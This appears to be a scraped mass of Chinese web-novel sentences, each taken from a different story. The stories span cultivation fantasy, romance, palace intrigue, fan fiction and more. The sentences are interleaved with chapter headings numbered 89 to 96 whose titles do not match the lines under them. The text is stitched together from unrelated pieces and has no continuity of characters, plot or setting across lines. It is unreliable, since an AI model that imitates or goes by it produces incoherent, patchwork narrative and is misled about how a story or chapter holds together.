刚开始,两人都未说话。伍紫凝闷头开车,明显在故意冷漠沈默。但沈默根本不吃这套,自顾自地在后面闭目养神,风轻云淡。
都怪李太后,闲的没事干老让我按摩,有那么腰疼么?别人就按不了吗?还有兰琪也是,迟早都是我的人,装什么矜持嘛。
先看了看两块玉器,没一会大金牙就轻轻放在一边,而后郑重的观察起那面金属面具来。
事情的发生,看起来毫无然后的征兆,本来还脸带笑容的严铭,突然间就踹出一脚,击中了上将的腹部。或许是力度控制得适当,并没有造成伤害,后者则是躬起了身体,仿佛在向严铭鞠躬的模样。
于此同时,九门提督府、五城兵马司,宛平、大兴、通州、涿州、昌平的那个府县衙门,也接到了类似请柬。
这些修炼室三米来高,占地十几平。墙体是用合金打造,除非得到里边人的同意,外人一般很难进入,这也是为了防止被打扰。
“看了就知道了。”郭造卿神秘一笑,当先而行,赵士祯和徐光启紧随其后,张佑看了眼不留行客,“走,瞧瞧去!”忙也跟了上去。
“你是不是傻?”吴为一甩手,他的一根手指化成凛冽长鞭,抽向菲利普斯。
第一卷 第89章 心爱
陆卿尘骑在高头大马上低头对将士们道:“吾会把人找回来,尔等安心操练,切不可让蛮夷钻了空子!”
说完看了守门的侍卫一眼,道:“开营门!”
这些魔纹都能随时以魔力激发,瞬间组成一个个强大的防御法阵。
魔理沙又想了好一会儿还是没想明白这东西的作用,她看向灵梦,发现灵梦正摆着一副生无可恋的表情盯着她,于是她莫名的就不敢问了。
下一刻,整个青铜战场生出感应,混沌青芒疯狂劈闪,混沌气息弥漫,残破不堪的青石台阶开始逐渐复苏,无数强大的神魔虚影随之浮现,仰天嘶吼咆哮不已。
凭借着活血术,再加上火焰晶核的元素火焰之力天然保护,苏鸿悍然冲进滚滚恐怖岩浆最深处,来到了那道正在暗影冥龙献祭下加速蠕动开合的深渊裂缝前。
还有就是,身为军队统帅却不得不听从虫族母皇指挥的他始终都憋着一口气,想要找机会将军队指挥权给重新抢夺过来,而现在看来机会已经来了。
她现在回想起来穆贺炎在见到自己时好像都没有这些情绪,他好像就只有惊讶,穆贺炎一直给她的感觉都是面无表情,所以有了惊讶的神情已经很难得了,那会她也没有多想,但是现在回想起来,她总觉得有点不过劲。
马特接口说道:“他上午都说了,一共三条鱼都不是太大,大约一万yankuai的样子,算是起了个不错的开头,跟在他附近的法兰克林还有格罗弗都有点儿收获!”。
“虽然灵梦你总是一副懒散不负责任的样子,但实际上意外的是个认真努力的人呢。”梅莉在一旁夸奖道。
如果江平说一口半生不熟的法语,司机肯定会以为他说错了。不过江平口音听着象本地人,所以司机也无法肯定,只能多问一句了。
几秒钟之后,无数朴素却蕴含巨大能量波动的黑色光弹朝着风见幽香飞去,铺天盖地黑压压的光弹似乎将整个世界都铺满了一样,连光线也无法从这些黑色光弹中穿过。
任云生呆望着郑吒出神,看见杰西卡轻轻地拍了拍詹岚的肩膀,一回身两人目光相对,脸上露出抱歉的神情。
林斯倾同情的看了一眼慕夜黎,但是显然,他也没好到哪里去,在那里正被林羽莹抓着前襟闹着。
可怕,她的粉丝脑回路怎么都这么不正常……宋闵摇摇头关了微博,打开微信找梁一聊天。
卑微的杂种,赵羽天望见这一幕变化,心中实在是忍不住腹诽一句。
冷哼了一声,金鹏反手关门,进屋便去躺床上睡觉,有这生气的功夫,还不如好好的养养精神呢。
毕竟现在她不是像以前那样出门俩月仨月都没人管,现在街坊邻居都认识,如果啥理由都没有消失太久,邻居们会担心的。
叶柠打开微信,看到宫野还在问,她什么时候去公司,他去找她玩。
感情不是一朝一夕就会改变的,如果改变了,那就不是感情,是阴谋和利用。
“姐,你睡了吗?”宋灏敲门进宋闵房间的时候,宋闵灯都关了。
因此龙琊当时依旧什么都没说,只是淡笑着看着夏莹菡,很多事情他不会去解释,就像当年他并没有去和夏莹菡解释他要救他的父皇,要救他的两个兄长,要找到他们的生母,要守护菲儿一生,因此他别无选择。
第一卷 第90章 蛮夷
“原来是这样,估计等会儿就该轮到我们了吧!”林天点了点头,随即又说道。
林彬深情看了她一眼,知道时机到了,是时候把她找回来了,于是便低头,吻住了柳云絮的双唇。
秦守如也看见明辉了,很狗腿地下车迎上来,一会儿说这么冷的天她穿太薄,一会儿又招呼她赶紧上车。
众人心中皆以为然。这才安心的在各自帐篷内好生休息。秦戈打开通讯器内的无线电台,收听最新消息。
不论秦戈走在哪里,哪里的凶兽就夹着尾巴,逃之夭夭,距离很远才敢停下,惧怕的看着那个独一无二的人类。
在得知这个消息后,之前会见他的大人物晒然一笑,决定好好看一下司马傲天的潜力。
绪方杏慢慢从额头顶着李如海的后背,变成了侧着脸儿贴着,感受着李如海的体温,心慢慢酥了。
刚刚众人躲了起来,都在看着宫殿前的情况,根本就未留意身边的情况。
“寒暄就不必了,想必,诸位都听到声音了!”鸿海大王看着他们,没有半分寒暄的意思。
阵法已经发动,蓝庭尊者左突右冲,却被死死困在里面,从一开始的蔑视,已经渐渐迷茫,甚至有点措手不及。
巫族全是走炼体的路子,而且他们的血脉源自祖巫,而祖巫本身的血脉之中就蕴含着法则大道,每一尊祖巫的法则大道都不相同。
墨颜卿只觉得浑身的力气都要被抽干了,身体被紧紧的搂着,想要后退都无路可逃。
当然,这世上还存在离婚,不过那都是以后的事情,谁会在还没结婚之前就考虑离婚呢?
克莱门特先是疑惑,接着微微惊愕,再接着用询问的眼神的看着南希,无声的再说:你确定?
除了莫霆早年与沈棠有过一点私交外,其他人哪会将沈家放在眼里?
慕容九裹着厚厚的兽皮,踩在积雪上面,深吸一口气,觉得这大冬日的空气真好。
“除了她,还有谁会这么关心我?”带着反问的自嘲,邵衍说着,嘴角勾起一抹冷冷的笑,天风这时候也不敢搭话,就默默听着。
棚子里亮堂起来,木木玄皇见她右手握着一根树枝,用那树枝在地上不停的描绘。
这完全是有银色金属所制作而成的电厂,进入其中仿佛进入到了一个电子化的世界之一样。
“切~我之前写也是这个想法~也不见什么效果~”黎雪坐回去,撇嘴将头偏向左边道。
叶七夜和轩辕翊一直被领着到了最靠近主位的位置坐下,两人的位置靠在一起,坐下后,她们才注意到,整个宴会厅内的目光都聚集在她们的身上。
苏恩抓着青蛙出去,根本就没有放在心上。可刚到门口,这只青蛙却突然挣脱。
李格还是首次遇到这种情况,但李格并不打算浪费自选机会前往笑傲世界,因为笑傲世界没有值得他窥视的东西。
一个多月时间匆匆而过,魔气洞中似乎格外宁静,除了日常的打招呼,欧阳听双几乎没跟其他魔教弟子有过多的接触。
冷君打量了一番大吾放出来的这两只宝可梦,发现它们都被大吾培育的非常好,每一只都优秀得没有话说,看到这里,冷君便微笑着开口对大吾称赞道。
握紧了拳头,他的眼神渐渐变的坚毅,唯有实力,才能证明自己,让所有人看到,他并不比叶允风差,更不比这个靠着父亲的身份才能得到世子之位的叶七夜差。
而处在拳脚暴风之间的灵虚天尊,却是淡然地穿过了他们的身体,拿起了放在一旁桌子上的金色雕纹杯,华丽十分。
晚宴平静结束,并没有想象中有人不开眼的来招惹叶七夜,毕竟她亲爹还在身边坐着,她代表可是整个叶家,无论是谁,便是皇帝,也要掂量掂量惹怒叶家的下场。
樊甄也不急,自己准备好了自己的那份早餐,坐到了黎雪的对面,也吃了起来。
“那他一般把工作内容的材料放在哪里你都应该知道的吧?”白影山继续问道。
圆木赫然看到苍云手中提着缰绳,给大孔雀明王带着嚼子,正得意的向自己挥手,玻璃虽然神情悲苦,仍是微笑。
经理忙保证不会搞错。他递个颜色,主管就出去了,务必要把这件事情确定好。这是珠宝店开业以来第一次遇上如此土豪的人,戒指柜台和耳环柜台货品几乎全空。
不过地心岩浆非常的不稳定,稍有异常就会喷薄而出,地壳压力平衡一旦被打破,神人也难以掌控,此刻他们就像是坐在火山口之上,随时有丧命的危险,简直就是引火自焚。
得到指示之后两家交易员获得交易权限,赶忙就把那三千万股给吃下了。
门口站着几个一脸诧异的部下,他们非常不理解,有人不由得问道。
“我就说还是要跟老白谈吧你非说你能做主。”许断闻言咂嘴道。
一声仿佛将天撕裂成两半的闷响的震撼苍云心头,水晶中的光线,翻滚的血海,肆虐的狂风,狂暴的雷霆,瞬间停止。
第一卷 第91章 身世
便听得靴子踏响,帘子簇簇动过,沈庆林走进来,定是才下学,未来得及回房换衣,仍套着国子监监生所穿的蓝色镶青边圆领袍子,戴四平巾,衬得面目很是清秀。
洛风上前握住与其的手,一双大而又温暖的手,给了与其无限的安慰,激动的情绪才慢慢的平息下来。
张氏提议要不就腌了做咸蛋,这样就不怕坏了,让叶枝去找出一个能密封的大罐子出来腌制。
这也不是那也不是,那你要我怎么样,这会儿的陆绍谦,心里有些后悔了。
舜钰初尝无妄之灾,满腔愤怒难抑,直把腰背僵硬的抻直,抿紧唇盯着她,眼眸冷若冰霜。
她很公式化地带着杨驰风在俱乐部转,介绍的意思很机械,仿佛冰冷的机器人。
兰瑟拉着阿瑞亚朝着大殿侧边的露台那里走去,卡洛斯跟在后面。
李翠莲陷入沉思,她一直知道冷寒轩在外面做着什么,她也派人查过,却什么也没查到过。
晚饭,顾念又头疼了,顾衍之进了厅里,随便坐了下来,6闻远坐到了他左边,右边还有一个空位,顾念朝薛杨使了个眼色,薛杨坐了下来。
娟子轻蔑的一撇嘴,声音低弱的嘟囔道:“吹吧,还理智哩,最后还不是像野兽一样,把人家抱上炕咧。”说着,温媚的白了祥子一眼。
要不是她嘚瑟着给老儿子写信告刁状,不年不节的志远根本就不可能请假回家。
“现在在哪儿?”语气中带着迫切的关心,有种关心则乱的感觉,平时的话霍成华什么时候这么乱过。
五分钟后,贾霍放弃了,他说他没办法消灭我二哥体内的精魂之力,只因对方等级比他高,加上精魂之力在我二哥体内存留的时间太长了,如果他强行清除的话,可能会伤了我二哥。
那杀手看到前一名杀手求饶之后能捡回一条性命,他不等刘芒来到身边便求饶道。
本来红色就非常的显眼,他们竟然画了整张脸,覆盖着那张血盆大口,嘴巴微微抿着,都会让人有种不寒而栗的感觉。
江月心里有些懊悔,早知道就不故意当着佳青的面给霍成华打这个电话了。
布宁按下遥控器上的按钮,那扇夹着防弹钢板的办公室门自动打开。
百分百不带成功的不说,还会火上浇油把形势弄得更加剑拔弩张。
“经历了一些事,等找到千画后,我会全部告诉你们的。”希儿能这么跟他说话,那说明她的情绪稳定了,刘芒还是很开心的。
回到科里,先去看了看自己主管的两名患者,然后田路去叫了何天林一声,示意他跟着自己进了值班室。
吴、陈二人先介绍了一下此次三番棋采用地新规则。废除座子,白棋先行贴还两子半,在场的棋迷纷纷牢记,周宣的目地达到了,推广围棋新规则的第一步圆满成功。
秦云黛对于陌生环境非常排斥,特别是看到郭忆尘这个陌生男子,神经更是一直紧绷着。不过让她庆幸的是,对方似乎很有礼貌,一举一动都进退得宜,不会让她感觉排斥。
风萧萧一向平淡的语气叙述这顶尖的一场决战,完全没有意境。而且两人实际的决斗不过在三招两式间结束,风萧萧也想不出什么修饰语,于是也在三言两语间便即结束。
这件事情是原配心里最大的遗憾,包括后来身子不好多少也有点这个心结的关系,而原配的遗憾同样也是杨老头儿感觉最对不起她的地方。
第五层要凝练的窍穴仍然在胸部,不过它们影响到的主要是心脏,这也是月华真经中非常重要的一层。
即墨青莲心中一动,当即顺着抄手栏杆,向着琴音处走了过去,转过一处水榭,她顿时有些愣然,尽管心中非常的排斥玉榭,但却不得不承认,这人实在是完美无缺。
至少盘古在伏羲庇护下还没能成功对自己伸出爪子过,反倒是他自己从泄露真身开始就一直处于被打压地位。
自从认识流月以来,风萧萧还从未在流月脸上看到过如此冰冷的表情。眼神空洞,明明是在望着风萧萧,但风萧萧却觉得他的眼里根本没有自己。风萧萧本来准备的一大堆废话此时一个字都说不出来了。
林涵蕴早已急不可耐,拉着静宜仙子就走,茗风、涧月提着竹篮跟在后面。
君墨寒,安静的闭着眼睛,就这么躺在那,那样子……让她心底有些害怕。
林晗昱只摇了摇头,他想起那日李成济看那丑八怪的眼神,总觉得有些不对劲儿,李成济他,是不是喜欢那个丑八怪?
从她还没来到这个世上,直至今日,岑岩东给她带来的伤害,超过任何一个外人。
张泽点点头跟了上去,他不知道接下来还会发生什么。但是他这只能继续硬着头皮走下去了,他们已经走到这里了,就没有反悔的机会了。
虽然陆白说给了钱,他爸日子好过了之后,肯定不会再找他们麻烦。
下一秒,宋千寻还来不及欣赏戒指的美丽,就被君墨寒一把拽了过去,然后被他吻住。
张泽失魂落魄的回到了家里,他现在的心情就犹如晴天霹雳一般。没有了任何想念,不知道自己到底应该要干什么,也不知道自己到底应该要想些什么。他只知道现在的他只能默默的想办法等着他的系统回来。
第一卷 第92章 换装
山长是顾青云,副山长是方子茗和何谦竹,主要教授蒙童,束脩低廉,把一部分的私塾秀才都搜罗过来了。
“娘子,我们也想把这烂屋翻修下,好歹能遮风挡雨的,可实在凑不出铜钱来。”武媪笑着说,“家里的房子还没翻修呢。”也亏得自己老伴有一手好手艺,不然家里温饱都不足。
“皇嫂,您别误会,这是宫中的规矩。”看到曲悠冷脸,楚鸢顿时急了起来。
周不寒担心她吃亏,赶紧跟了上去,结果,她僵在门口一动不动,身子还在无意识的轻颤着,他伸臂搂住,怀里的冰冷让他心疼不已。
灵佑耳边听着他那不要脸面的情话,越听耳根越红,她余光瞥了轿帘一眼,抬手掐上了子隐的腰身。
他扫了眼大会现场,受邀而来的宾客众多,也有几张他熟悉的面孔。
这会儿,比赛第一场已经开始了,从昨天的十几组,一下子减半,场面空荡起来,不过丝毫不显冷清,相反,今天能留下的选手实力更强,你来我往便更有可看性。
而他至今还不知发生了什么事,又是被什么陷害,但心中对楚王却充满了感激。
对于云庆帝来说,大长公主临死前都还惦记着他,这是十分难得的情谊。做了皇帝,便有种高处不胜寒之感,一个死了的大长公主,在他的心中自然什么都好,甚至还会在他的记忆中自动美化,成为一个完美无缺的人。
高严低笑,却并没有应声,走?他从来没想过,像败家犬一样去那种穷乡僻壤,就算占地为王又有什么意思?云南过去那片地方迟早会姓高,但肯定不会是现在,“皎皎,专心点。”高严不满的吻住了妻子的唇。
杨羽心里暗骂,刚才说什么玩捆绑的游戏,搞得现在自己被绑起来。
碧湖园闹鼠患让我忙了好几天,一下子放松下来就感觉两个世界。
近一个时辰过去,呼元奉有点儿吃撑了,面前的点心已经换到了第六盘,他觉得再这么吃下去他都得吐。于是终于不再朝着点心盘子伸手,此举却让身边的朝臣松了口气。
“怎么不说话,是还看不到吗?”王嫣看他直愣愣的不说话,不禁有些担心。
“早上好。”山田君礼貌了回了句,冲着邻居点点头,大步离开了。再不赶紧,上学要迟到了。不知道怎么回事儿,他觉得今天特别轻松。
“那我教你几个动作,你先练着。记得,要避开人修炼,不能让其他人发现你练了武功。”封易安吩咐。
“我不装疯,恐怕早就死在你们两口子手里了吧?”过了半晌,她才开口,声音已经恢复了惯常的平静。
巴萨球迷的狂喜,球员的欢庆,如同国王一般的梅西;以及皇马球迷的沮丧,球员情绪的低落,一一展现无疑。
一直到进电梯,陈沐雪一直不敢正眼看我,她的脸上也始终带着一丝红晕。
“黄泉最后一枚仙王令,你有什么条件!”过了很久,那个吞纳四方的黑洞之中终于垂落了一个声音,声音苍古,冰冷无情。
杀——神堕日狂喝一声,拳碎青天,挟着无敌之势毫不留情地崩碎而出,他的拳下,大地被打沉,成了黑洞,山川崩碎,一片大地灰飞烟灭。
经过一番观察后,白逸身形闪动,掠入了盆地之中,当然只是他一人而已,四神魔并未动,就算是金猫也被他留在了外面,避免出现什么差错。
林茹还想说什么,林以丞把她拉到边上说道:“姑姑你们都回去吧,在这的话她会更心烦,放心吧我会好好开导她的!”她知道林茹也是对沈丹妮不放心,可是她们在这儿的话什么忙都不会帮的上的。
“他?他就是一个陌生人而已,你不用理他!”祁连傲云不屑的瞟了眼御傲天,脸上挂着冷漠的神情。
“您这是怎么了,怎么。。。是不是哪里不舒服?”江玲感觉到她的异常,急忙询问着。生怕她有什么事情。
“纳命来吧!”愤怒的司马青州早已经忘记了和固态期的武神相差有多远了,对着司马望天就冲了过去。
此时,秘境无法再支撑如此的狂轰滥炸,山川崩碎,法则毁灭,鬼脸他们带着队伍纷纷撤退秘境。
“哈哈哈、、、你我兄弟合作,未来灰骷髅的天下将是你我兄弟的。”铁屹心情大好叫嚷道。
伊梦仙不答,微笑伸手——幺儿只得无奈的也将自己的右手“奉上”,乖巧的握住伊梦仙的芊芊素手。
战车中生物的人全部惊讶的看着西岚手中还冒着白烟的火枪,嘴巴张的老大,却是一句话都说不出来。
当然不是一碗鱼汤换两个老婆了,姚然还真的就把四台滑车连带科多兽送给了夏至,也不全是为了老婆,更多的是要软性的吞并整个大湖村。
这道川味麻沸鱼的做法刘芒是知道的,它是近几年兴起的一道菜,脱胎自传统川菜里的水煮鱼片。
吟唱着召唤法术的格里弗,突然感觉到一股强大的力量在阻止自己,猛然他觉得不对劲,连忙终止了释放中的法术。
看完布雷府的七星猎神者信息之后,阿诺德再一次看向其他府的信息。
所以多数的姚氏族人已经没有了夜盲症这样的病症了。也就让姚然清楚的被车夫看清了,是谁干在姚寨门口劫掠族长夫人的车辆。
但是奇怪的事情发生了,莫拉完美的上半身从奥修的头顶长出,而奥修的灵魂正在他的体内悄然崩溃。
渁竞天大惊,一下坐起来,丢死人了,早知道干脆不睡熬一天罢了。
梦缘娱乐城很出名,跑出租的人自然很熟悉,不到二十分钟的时间,车子就停在了梦缘娱乐城门口。
第一卷 第93章 犯愁
“你们是谁?要干什么?”卫青虽然一看这些人的打扮就已经猜出了七八分,仍是发问,他并非不相信自己的判断,而是想拖延一点时间,为自己获得一点备战的机会。
只见秦叔宝胸前冒血,倒在地上,白不信正手忙脚乱的施救;庞统被扎木合抓在身前,脖颈上横着腰刀;扎木合身周,四五支枪相距不足一尺指定他,只是庞统被抓,无人敢更近一步。
十字斩剑与夺日同长,剑身泛着熠熠微光,锋刃薄如蝉翼,精致而复杂的纹路雕刻在剑柄之上,将它衬托得仿佛天神的佩剑一般。
丁修对李瑟菲的看法也有了很大的改变,没想到她这么爱她的妹妹。也难怪听到妹妹的消息后,激动的直接晕了过去。
“好了。”关山月满腔怒火喝停了几人的对话,心中真的恨不得把那名骑军将领抓来斩掉,问题是异族骑兵根本就不归关山月辖管,而异族骑兵的任务只是协助关山月攻打西凉城,并非是由关山月统帅。
至于那名避开杀人风,就脱离路线不知所踪的长老吸血鬼,王乐通过破妄法眼并没有发现起踪影,可以确定对方并不在这周围附近。
云神的无极聚元掌,威力果真不弱,要是被打中恐怕最少都要重伤,可是恐怕这掌并非是云神全部的实力。
來福子哪能不紧张,他看看卫青,又看看赵月如,再看看倒在地上的周掌柜,不知如何是好。
无论是振远镖局亦或者是威名镖局都是惊呼出声,面对秦宇还敢如此大言不惭。
中午吃罢饭,卫青躺在床上打盹儿,朦朦胧胧的正要睡去,一个刺耳的声音传了进來,这是什么声音,卫青一惊而起。
“算是中刀了吧,今天碰到一个很不好惹的家伙了。”时月回答道,一边自己替自己的伤口上药。
唐宋直接一把将安瑾抱下了车,酒店的门童很有眼力见地帮着拿行李。
想到这里,安俊杰忍不住啧了一声。虽然吧,他们两个现在什么关系都没有,甚至都算不上太熟,但他一看到他们两个单独呆在一起的时候就有种别人很多余的感觉。
他努力的想着自己跟宁堇延说过的话,不知道他想到了什么,眼里闪过一丝狐疑,紧接着又变的无比的确定。
但这温度只是出现一瞬间,叶枫便收住了手。缓缓的看向那药鼎之中。
皇帝暗叫不好,原本太后还有几分犹豫,没想到纳兰衍居然扯到吴延身上,太后果然上了勾。
夜忱简明扼要地回答了一个字,随后,打手直接扣住安芜的后脑,对着她的唇,印了上去。
纳兰衍果然不再纠结刚才的问题,立刻紧张起来,“我看看。御医不是说内伤开始好转了吗?”说着便去拨她的衣服。
约莫一分钟后,宁堇延似乎是反应了过来。他轻笑一声,就把电话给挂了。
坐拥万里江山,三宫六院,美人如花,却再也找不到当初那份真挚的感情。
然而旅顺诸军既然能把数万倭夷兵死死的挡在大连湾,而且还打了这么多的大捷,只要能撤回来,想来打第一军也是照样犀利。
这两魔法其实是一体的,三个火灵聚在一起放的是陨石天降,直接拖一个陨石下来,当十个以上的火灵聚在一起的时候,放流星火雨,会直接砸下大量的陨石下来。
从王秀婷的声音在亭子里响起,王秀英就知道自己大概又要躺枪。
王翰林尴尬的摸了摸脑袋,不是他对自己没有信心,完全要向全世界所有的人都讲清楚魔法师到底是什么样的存在,魔法师会不会对人类有敌意什么的,这真的不是一个简单的事情,很有可能会引起人类的公愤的。
黑衣男子猛的转过身,然后丢下了这句话后,便消失在了夜色之中。
明日香的朋友枕田纯子也在那里她可能是这里面唯一一个偶尔还会看一下该怎么组卡组的人了。
当然,黎政也只是心中想想,他知道这个系统虽然喜欢坑,但却从来都在正经事上坑自己。
长宁伯夫人张氏正亲昵地王子轩和王子鸣的未来岳母坐在一起说着话,见彭氏脸色不太好看地直往她们这边来,三人停下闲聊均看了过去。
无数根茎涌动,扎根而起,大肆的吸收着灵气不断的成长,原本被羲和浴日改变的地形海水,是要被海水不管的浇灌慢慢回复本色的,有了这枝桠的帮助立即是稳定了起来。
“所以?”尹璟澜看着贞嫔,漫不经心的样子,却让贞嫔有一股压迫的感觉。
张远航美美的眯了下眼睛,稍微平息了一下自己的情绪之后,再度打开包裹,朝着后面继续看去。
不过她今天不会像昨天那样傻乎乎的穿着裙子出来,现在一身裸色风衣的赵一颜双手自然的插在口袋里,看了一周不见李霆琛的影子。
所有的人都被眼前的情景惊呆了,没想到他们又回到了原地!而且刘红一哭,绝望的情绪迅速在这些人中散播开来,立即惊惧的哭泣声、低语声四起。
“对不起,伟大的勒伦多神,我竟然没有保护好他。但是,我还有力量!”天使艰难的回头看了高森一眼。
这里才是张远航日后获得更多荣誉的根本,张远航蹲了下去,伸手去搜索这一次战斗的战利品。
看着东方神起和往常一样,充满男人味和霸气的舞台。聆星他们的呼吸也跟着急促了起来。东方神起的歌曲就有带动别人身体的能力。特别是现场观看,更是震撼。
“那也不能看着霆琛有意外,我去看看情况,希望是咱们想多了。”方思哲一边跟苏执说下一步的安排一边穿好衣服。
餐桌上,依然是面不改色的吃饭喝汤,餐桌下,却是一番别有风味的缠绵。
第一卷 第94章 奸细
不过看慕容泽吃得津津有味,他说的该是认真的。
这蛮夷真是没吃过什么人间美味,那么膻的清水煮羊腿,他就那么入口吃了?
“你先到那边坐一会,我去处理一下。”陈伟轻轻将阮雪推开,说道。
西门彪扑了个空,没能撤下两人的面罩,双手凝出两柄长剑,朝着两人的腹部刺去。
自从与郝仁同床共枕后,他的睡眠质量是好了不少,但睡眠时间大大的缩短了。
那些人,知道龙脉里放着宝藏,也知道双鱼玉佩是找到龙脉的关键,可他们却不知龙脉真正所在之地,所以才在萧府一遍又一遍的寻找。
“不是,回到你来的地方。”夏左有些不忍心的问,不过还是想弄清她的意愿。
“……”在一个不起眼的角落位子,柳薇儿把自己包的严严实实。
接下来,伴随清脆的机械传动音。一双机械臂急速摆动,在其身上安装一片片白色护甲。
就好像是那种,因为感激你而容忍你,但我确实对你没别的想法。
莘伯槿走了,郝仁还没来得及放松下来,便听莘九渊阴沉的声音在耳边响起。
莘九渊护着郝仁,步步后撤,郝仁不想拖了莘九渊的后退,便尽量远离,免得碍了他的手脚。
当时廖秀章说要自己单独领兵,廖世善不肯,又见他坚持就把给他关了起来,而放他出来的就是陈旺年。
“作为一位顶尖的选手,每个位置,每个英雄,都要保证有极高的熟练度。”系统说道。
“我在此等爹爹回来一起回府。”陆清漪回了一句,便迈步走到树下轻轻靠在树干上,此刻她的心无比乱,乱到她不知道自己在想什么。
田新泉说着鼓励的话,不过安夏看得出他不相信自己能考上武汉大学,这也正常,毕竟考上武汉大学的孩子也算是凤毛菱角了,她也不解释,只是笑笑。
就在居楠以为到了的时候,电梯突然的下行,让电梯内的所有人包括他都不自禁的因为失重跌倒。
甚至可以这样说,如果这黑影杀的是她,目前的她一样都要死在这黑影的手下,毕竟她比别人少修炼了几十年,甚至可能少修炼一百多年,这个时间想要赶上是需要时间的。
哪怕是平妻对于许颜来说也都是不公平的,这换成是谁都没有办法接受吧。
如果那边还有齐家的人在,那对于他们来说是非常的危险的事情。
叶笑将三轮车拓展拖车给挂上,让圣姑三人坐在后面,自己在前面飙车,就是水上摩托车挂着一个船的感觉,不过这个船有符阵的保护,让里面的人可以在里面享受安逸,没有摇摆,没有水滴。
余青知道郑坚是废掉了,他这样骄傲的人,既然不能人道,已经压垮了他最后的自尊,就算是活着也是苟延残喘。
说完,同天便转身离开了,不论是张亮能否做到他所需要的那个程度对于他来说都是无所谓的,不过要是张亮成功的话,那么华夏区的是实力起码可以提高三成以上,要是失败了最多就是一切都是原样没有任何的改变。
说着村民b给同天指了一个方向,闻言,同天点了点头,骑上一匹马便朝着村民b所指的方向前进,其实想要找到那些强盗的老窝也不难,只要顺着马蹄印一路过去便可以了。
第一卷 第95章 救她
慕容泽的两个婢女显然也是被她们的殿下惊住了,她们何曾见过殿下这般温柔含笑的说话!
远处的那手持银剑的中年脸上再无丝毫沉稳之色,目呲欲裂地大吼出声,看向张元昊的眼神带着狂暴的杀意。
当楚风与数百位楚神军团成员合照以后,燕京交警大队,还有公安部门已经全都赶到现场。
涟漪荡漾间,张元昊双眼猛地一凝,掌心忽而绽出一道五行五色的锋锐剑气,陡然划破长空,朝着远处一根散发着淡淡荧光的玉萤石柱斩下。
韩炜即刻下令撤离了叶县,退守襄城。将叶县拱手相让,张燕也是趁着大好契机西占鲁山,东破南顿与叶县、上蔡四县连横,战线延绵对襄城虎视眈眈。
卡拉比阴测测的说着,那副阴险的模样与黑暗大帝简直就是一个德行,这让邪罗王心中更是不屑。
声音冷酷而又严峻,还没等张元昊反应过来,就见无穷远处天际忽然飘来一个黑点,化作一散射金光的琉璃玉塔,一共九层,矗立当空。
武浩突然眼前恍惚,脑中迷乱,他听到莫名的梵音,看见了那沸腾的岩浆上,漂浮着无数人影。
“佑大人请留步!”这个熟悉的声音也正是准备前去上任的杨宪。
就连周同,也忍不住不停的摸着自己的胡子,摸着摸着,甚至还揪下来了一根。
而在下方,三眼妖尸和雷电蝠龙,已经开始和那名老汉激战不休,打的难分难解。
“尊者智慧照鉴十方世界,来与不来又有什么分别?”康僧会再次双手合十继续说道,对摩诃迦叶的崇敬已经溢于言表。
当然,在那个疯狂的年代不算什么,改革开放后叶老就被平反了,名字再次出现在报纸上,这一次举国欢庆。
“万分抱歉!”冈德一脸紧张,弯腰呈九十度鞠躬,不敢抬头看代理总统脸上的表情。
虽然以前刘琅亲手“怒怼”了那位什么张大师一次,可是现在特异功能这种活动并没有完全压制下去,刘琅借此机会再给这些伪科学一次暴击。
长安城中的确是有两个玄武门,那会儿大明宫还没有开始造呢,圣人诛杀隐太子,的确是在太极宫的玄武门。
终于所有人都听到了一阵响亮的哭声,崔九同贺余松了一口气,可算是生了。
正喝着的时候,他的动作轻顿,眼神一凝,不动声色的走向客厅。
“今天,就让本尊踏着魔族元婴强者的尸体成就无上威名吧。”陈风云也大吼起来,声音响彻天地,令远处回头观望的人族修士惊骇不已,他们这才知道陈风云竟然想要越级挑战而猎杀魔族元婴强者。
“咦,它们三个的眼神?”周诚立在三尊鬼王的中间,他忽然发现,自己此刻站立的位置,正好是三尊鬼王目光汇聚的地方,或者说三个鬼王都盯着自己。
虞欢将东西放回客栈他住的房间内,刚想下楼与那老者打声招呼,然而下一刻,他只觉得眼前一黑,等视线再次清晰的时候,他已经不在客栈里了。
临上战场,为了安心,吴用握了握胸前的十字架,如果主真的存在的话,就保佑我能够顺利带着马里奥离去,然后在回家路上捡到一张一亿美金的支票吧。
第一卷 第96章 大瓜
锦婳醒时,慕容泽已经不在寝殿内了,见锦婳醒了,两名伺候的婢女上前帮她穿着衣服。
哼,可是听着她的话,无论是阮冰怡还是江萱都是给了她一个白眼,一副很不相信的模样,握紧粉拳,似乎随时会动手的模样。
“喂,你是不是在想什么不健康的东西?”夏冰俄然说话吓的吴杰登时一精灵。
出了别墅赵雄飞马上找到了陈菲菲,告诉她自己得到的消息,陈菲菲表面上很平静,实际上很激动,这次终于能大展拳脚,为西北市的安定做一些大事。至于赵雄飞说的其他东西她一句也没听进去。
徐红顿了顿,然后循着声音赶忙走了过去,只见一包黑呼呼的东西被扔在了那里。她蹲了下去,一瞧,是个孩子。
“咔嚓奇你为什么带着雷族的人类来到这里?”咔嚓屈手里拿着巨大的石斧,带着五人,挡住了咔嚓奇的路,一双眼睛紧紧的盯着罗纳德,冷冷道。
林娇娇脑子里的脑电路顿时短路了一下,致使她的整个脑子一时有些懵逼。
赞普斯的话还没有说完,便是听得三声枪响,接着赞普斯和巴克便是立即感觉到了身后传来的巨大危机感,两人下意识的回头看去,神色不由骤变,连忙驾驭着魔狼奔逃,同时给自己施展了魔法盾。
毕竟目前是黑夜,外面的怪物有很多,就算他们一行人实力强劲也应该谨慎一点。
陆乘风一听赵雄飞说从来都没有打算教训自己,顿时开心死了,心里想到你他妈怎么不早说,害得老子直接装了一回孙子,让自己在这么多少面前丢了面子。
一秒钟之后,杨光的眼眶变得通红,嘴也开始往两侧拉扯。他的嘴角不断抽动,但是眼泪却并没有流下来。
老班长当初将地址告诉我的时候,告诉过我,这么多年,可能他的副班长早已经不再老家住了。
“是,爷爷,听您的。”听了爷爷的话,我立刻说道。然后爷爷就带着我们大家朝他老人家住的地方走去。
于是,安然就趁着他们一边换鞋进屋,一边将刚才的四个电话说给他们听。
“野猪,今天你是死定了!”马三冷冷一笑,手中提着钢刀,眼中杀机毫不遮掩。
叶三郎点了点头,这些家伙倒是心眼挺好,不过,如今不管那袁州是何等的龙潭虎穴,他们今日也闯定了。
滔天的气场从另一头巨鸟之上传出,下一刻,巨鸟陡然爆退,瞬间来到了千里之外的地域,而后便如同逃命似的再次爆退。而看到这一幕,凌乾双眸陡然睁开,一股强大的意念力瞬间席卷了方圆百里的空间。
